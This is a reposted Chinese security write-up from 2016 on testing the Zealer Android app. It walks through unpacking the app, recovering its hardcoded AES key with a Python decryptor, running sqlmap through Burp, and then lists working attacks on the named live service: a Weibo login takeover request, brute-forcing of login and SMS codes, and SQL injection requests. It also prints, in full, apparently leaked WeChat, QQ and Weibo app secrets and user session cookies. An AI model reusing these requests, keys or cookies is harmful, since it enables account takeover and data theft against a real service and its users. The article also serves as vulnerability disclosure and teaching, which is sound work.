频道栏目
首页 > 安全 > 网络安全 > 正文

Zealer_android客户端安全检测

2016-07-19 09:23:42           
收藏   我要投稿

Zealer的Android客户端,采用AES加密请求和返回数据包,其APK本身加了数字公司的壳。

这里讲的是真相,偏少传道授业,稍后会有关于burp自动加解密插件的文章发布在drops,

Package: com.zealer.app

Application Label: ZEALER

Process Name: com.zealer.app

Version: 2.0.4

Data Directory: /data/data/com.zealer.app

APK Path: /data/app/com.zealer.app-1/base.apk

Main activity: com.qihoo.util.StartActivity

通过脱去数字公司加固外壳,反编译代码获得AES算法详细,

再通过编写burp插件,实现自动加解密客户端所调用接口的数据,

最后进行批量安全扫描与逻辑漏洞测试。

1、ZealerAPK安装在Nexus6上,打开调试模式,并Root。通过"drizzleDumper"对ZealerAPK脱去数字公司加固外壳,得到dex。

 

脱壳1.png

 

2、拷贝dex至PC机,dex2jar,查看源代码,在"com/zealer.app/utils/AESUtil.class"可以得到整个加解密类的明文代码,未做混淆。

 

AES算法详细.png

 

3、写一个PY验证:

from Crypto.Cipher import AES

import base64

import urlparse

import urllib

BS = 16

pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)

unpad = lambda s: s[0:-ord(s[-1])]

class AESCipher:

def __init__( self ):

self.key = "@[email protected]"

self.iv = "0123456789ABCDEF"

def encrypt( self, raw ):

"""

Returns hex encoded encrypted value!

"""

raw = pad(raw)

#iv = Random.new().read(AES.block_size);

cipher = AES.new( self.key, AES.MODE_CBC, self.iv )

#aes_result = ( iv + cipher.encrypt(raw) ).encode("hex")

result = base64.encodestring(cipher.encrypt(raw))

return result

def decrypt( self, enc ):

"""

Requires hex encoded param to decrypt

"""

enc = base64.decodestring(enc)

cipher = AES.new(self.key, AES.MODE_CBC, self.iv )

return unpad(cipher.decrypt( enc))

if __name__ == "__main__":

while True:

r_input = raw_input("\r\nplease input the decode URL:\r\n")

input_str = str(r_input)

if "?" in input_str:

url_para = urlparse.urlparse(input_str).query

else:

url_para = input_str

print 'Only support links with parameters in the request.'

lists = url_para.split('&')

aes = AESCipher()

print '\r'

for item in lists:

try:

print item.split("=")[0]+" : "+aes.decrypt(urllib.unquote(item.split("=")[1]))

except Exception, e:

pass

#exit()

把带参数的链接input进去回车就可以看到参数的明文:

 

AESpydecode.png

 

[email protected] 写一个burp插件,

设计流程如下:

 

插件流程.png

 

原始请求包是这样的:

 

原始请求包.png

 

实现效果如下:

 

插件效果.png

 

题外话:关于该burp插件的开发过程,@bit4 会发布在drops。

5、现在就可以在PC上使用扫描器来自动化检测漏洞了,方法是把流量都转发到burp代理来。这里以sqlmap扫描注入漏洞来做个例子。

sqlmap.py -r app.zealer.txt --proxy=http://127.0.0.1:8080/

burp自动加解密,sqlmap跑得不亦乐乎。

 

sql注入过程.png

 

6、安全漏洞总结:

①任意微博账户登录:http://wooyun.org/bugs/wooyun-2010-0215238的升级版,现在只需要改数据包中的明文open_id值提交请求就可以获得该微博账号登录Zealer的z_q1值,可以登录Web端。

POST /call/social?access_token=12312312312312312312312312312312&android=android&channel=004&expires_in=1465585200416&nick_name=wooyun&open_id=5217947713&profile_image_url=http://zone.wooyun.org/upload/avatar/avatar_65641438737858_b.jpg&type=weibo&appVersion=2.0.4 HTTP/1.1

Content-Length: 0

Host: app.zealer.com

Connection: close

User-Agent: Mozilla/5.0 (Linux; U; Android 6.0; zh-cn; PRO 6 Build/MRA58K) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1

Accept-Encoding: gzip

 

微博登录.png

 

得到z_q1值后登录web端,可以看到ZEALER-FIX的账号已被登录:

 

微博登录fix.png

 

②登录接口暴力破解

 

登录接口暴力破解1.png

 

 

登录接口暴力破解2.png

 

③短信验证码暴力破解(猜想可用于密码找回,未验证):

 

短信验证码暴力破解1.png

 

 

短信验证码暴力破解2.png

 

④泄露第三方SecretKey:

 

第三方调用key.png

 

微信

wx6d57145b266819b7 18be9764a94cf37dfa45ebc09937b742

wx31585081521996f7 39123eba15a1ccb61b741567ce673633

QQ

1104974936 iuTcCKDNAr6TDO3i

新浪微博

3023567517 98ea848255a45a4630a993d6489d2d44

 

weixinapi.png

 

⑤sql注入3个,自行替换其中的cookie值再去验证。

POST /recommend/list?android=android&type=index HTTP/1.1

Content-Length: 0

Host: app.zealer.com

Connection: close

User-Agent: Mozilla/5.0 (Linux; U; Android 5.1; zh-cn; MX5 Build/LMY47I) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1

Cookie: zealer=20d1e4a347e9abf307cc2617532d82d72bf477c5a%3A4%3A%7Bi%3A0%3Bs%3A6%3A%22804100%22%3Bi%3A1%3Bs%3A11%3A%2213085632914%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A6%3A%7Bs%3A8%3A%22username%22%3Bs%3A10%3A%22Z_KVx9R9UC%22%3Bs%3A8%3A%22nickname%22%3Bs%3A11%3A%2213085632914%22%3Bs%3A5%3A%22email%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22purview%22%3Bs%3A4%3A%22user%22%3Bs%3A9%3A%22community%22%3Bs%3A1%3A%22Y%22%3Bs%3A4%3A%22type%22%3Bs%3A0%3A%22%22%3B%7D%7D; z_q1=356u5v2hdrjnicicp3fqj9h1t7

Cookie2: $Version=1

Accept-Encoding: gzip

POST /user/notice?android=android&channel=004&page=1&token=g851pf9tvq62o7p1vhkggrmg06&appVersion=2.0.4 HTTP/1.1

Content-Length: 0

Host: app.zealer.com

Connection: close

User-Agent: Mozilla/5.0 (Linux; U; Android 6.0; zh-cn; PRO 6 Build/MRA58K) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1

Cookie: z_q1=g851pf9tvq62o7p1vhkggrmg06; zealer=d31588a0d9993c07ed4da902f55eca2ac3961d09a%3A4%3A%7Bi%3A0%3Bs%3A6%3A%22239112%22%3Bi%3A1%3Bs%3A11%3A%2215920390845%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A6%3A%7Bs%3A8%3A%22username%22%3Bs%3A10%3A%22sz123%22%3Bs%3A8%3A%22nickname%22%3Bs%3A10%3A%22sz123%22%3Bs%3A5%3A%22email%22%3Bs%3A17%3A%22123%40163.com%22%3Bs%3A7%3A%22purview%22%3Bs%3A4%3A%22user%22%3Bs%3A9%3A%22community%22%3Bs%3A1%3A%22N%22%3Bs%3A4%3A%22type%22%3Bs%3A0%3A%22%22%3B%7D%7D

Cookie2: $Version=1

Accept-Encoding: gzip

 

sql2.png

 

GET /reMobile/siftData?cartegory=phone&cid=&memory=&mid=&net=&order=2&parts=&rolex=12* HTTP/1.1

X-Requested-With: XMLHttpRequest

Referer: http://fix.zealer.com/reMobile/

Cookie: z_q1=89rg5pqc2mdh4c4h6hmqih8k22; Hm_lvt_93a776aa5a5632380561feba017dd90f=1463554266,1463554507; Hm_lpvt_93a776aa5a5632380561feba017dd90f=1463554507; z_q1=89rg5pqc2mdh4c4h6hmqih8k22; HMACCOUNT=39D8814D3EB2E447

Host: fix.zealer.com

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21

Accept: */*

 

sql.png

 

解决方案:

不要信任前端、数据加密,在服务端做好校验是才是王道。

修复参考:

《Android安全开发之浅谈密钥硬编码》http://drops.wooyun.org/tips/15870

相关TAG标签 安全检测 客户端
上一篇:微博一个some攻击的漏洞/只需点我的链接就可实现关注我等操作
下一篇:这是一款仅针对「中国网民」的勒索软件
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站